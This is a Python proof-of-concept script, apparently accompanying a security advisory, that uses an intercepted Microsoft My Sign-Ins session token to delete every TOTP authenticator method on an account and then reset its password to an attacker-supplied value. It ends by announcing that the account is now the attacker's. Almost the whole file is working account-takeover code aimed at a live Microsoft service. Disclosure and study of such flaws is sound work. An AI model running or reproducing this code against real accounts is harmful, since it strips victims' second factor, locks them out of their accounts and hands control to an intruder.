Microsoft

import asyncio
import json
import time

import httpx
from idox import Request, Idox

"""In order to use this script do the following:
1. `pip install httpx idox`
2. Intercept a request to the 'Security Info' page with the following headers (/api/authenticationmethods/availablemethods):
    - Authorization
    - Sessionctx
    - Sessionctxv2
    - X-Ms-Mysignins-Region
3. Create a file called `request.txt` and put the intercepted request in the file
4. Modify the password at the bottom of the script if you wish to change it
5. Run this script

As this is a PoC alongside the advisory, user input is required. 
"""
with open("request.txt", "r") as f:
    request: Request = Idox.split_request(f.read())

X_Ms_Mysignins_Region = request.headers["X-Ms-Mysignins-Region"]
BEARER_TOKEN = request.headers["Authorization"]
SESSION_CTX = request.headers["Sessionctx"]
SESSION_CTX_V2 = request.headers["Sessionctxv2"]


async def fetch_mfa_results():
    """Fetch all enabled MFA items"""
    async with httpx.AsyncClient() as client:
        resp: httpx.Response = await client.get(
            url="https://mysignins.microsoft.com/api/authenticationmethods/availablemethods",
            headers={
                "Host": "mysignins.microsoft.com",
                "Content-Type": "application/json",
                "Authorization": BEARER_TOKEN,
                "Sessionctx": SESSION_CTX,
                "Sessionctxv2": SESSION_CTX_V2,
                "X-Ms-Mysignins-Region": X_Ms_Mysignins_Region,
                "Ajaxrequest": "true",
                "Referer": "https://mysignins.microsoft.com/security-info",
                "Sec-Fetch-Dest": "empty",
                "Sec-Fetch-Mode": "cors",
                "Sec-Fetch-Site": "same-origin",
                "Te": "trailers",
                "Connection": "keep-alive",
            },
            cookies=[],
        )
        _, results = resp.text.split(",", maxsplit=1)
        return json.loads(results)


def mfa_result_to_deletion_payload(mfa_data: dict) -> list[str]:
    """Return all TOTP app's with the correct payloads to use for deletion requests.

    Note this currently only deletes TOTP authentication methods.
    """
    data = []
    for payload in mfa_data["AuthenticatorApp"]["Data"]:
        data.append(json.dumps(payload))
    return data


async def delete_mfa_entry(mfa_data: str) -> None:
    """Delete a given MFA entry"""
    async with httpx.AsyncClient() as client:
        await client.post(
            url="https://mysignins.microsoft.com/api/authenticationmethods/delete",
            headers={
                "Host": "mysignins.microsoft.com",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/json",
                "Authorization": BEARER_TOKEN,
                "Sessionctx": SESSION_CTX,
                "Sessionctxv2": SESSION_CTX_V2,
                "X-Ms-Mysignins-Region": X_Ms_Mysignins_Region,
                "Ajaxrequest": "true",
                "Origin": "https://mysignins.microsoft.com",
                "Referer": "https://mysignins.microsoft.com/security-info",
                "Sec-Fetch-Dest": "empty",
                "Sec-Fetch-Mode": "cors",
                "Sec-Fetch-Site": "same-origin",
                "Priority": "u=0",
                "Te": "trailers",
                "Connection": "keep-alive",
            },
            cookies=[],
            json={"Type": 1, "Data": mfa_data},
        )


async def get_password_method() -> str:
    """Fetch the method ID of the password so we can reset it"""
    async with httpx.AsyncClient() as client:
        resp: httpx.Response = await client.get(
            url="https://api.mysignins.microsoft.com/api/password/passwordMethods",
            headers={
                "Host": "api.mysignins.microsoft.com",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/json",
                "Authorization": BEARER_TOKEN,
                "Origin": "https://mysignins.microsoft.com",
                "Referer": "https://mysignins.microsoft.com/",
                "Sec-Fetch-Dest": "empty",
                "Sec-Fetch-Mode": "cors",
                "Sec-Fetch-Site": "same-site",
                "Te": "trailers",
                "Connection": "keep-alive",
            },
            cookies=[],
        )
        data = resp.json()
        assert (
            len(data["passwordMethods"]) == 1
        ), "This PoC is only built for one form of password method"
        return data["passwordMethods"][0]["id"]


async def change_password(*, method_id, new_password):
    async with httpx.AsyncClient() as client:
        resp: httpx.Response = await client.post(
            url="https://api.mysignins.microsoft.com/api/password/reset",
            headers={
                "Host": "api.mysignins.microsoft.com",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/json",
                "Authorization": BEARER_TOKEN,
                "Origin": "https://mysignins.microsoft.com",
                "Referer": "https://mysignins.microsoft.com/",
                "Sec-Fetch-Dest": "empty",
                "Sec-Fetch-Mode": "cors",
                "Sec-Fetch-Site": "same-site",
                "Priority": "u=0",
                "Te": "trailers",
                "Connection": "keep-alive",
            },
            cookies=[],
            json={
                "methodId": method_id,
                "newPassword": new_password,
            },
        )
        assert resp.status_code == 200, "Changing the password failed"


async def main():
    start = time.time()
    all_mfa = await fetch_mfa_results()
    print("Fetched all current MFA methods")
    mfa_data_payloads = mfa_result_to_deletion_payload(all_mfa)
    for payload in mfa_data_payloads:
        await delete_mfa_entry(payload)
    print("Deleted all found MFA methods")

    password_method_id = await get_password_method()
    await change_password(
        method_id=password_method_id,
        new_password="<PASSWORD>",
    )
    print(
        "Password modified to attacker provided value\n"
        "This account is now entirely yours, enjoy.\n"
        f"Execution time: {time.time()-start:.2f} seconds"
    )


if __name__ == "__main__":
    asyncio.run(main())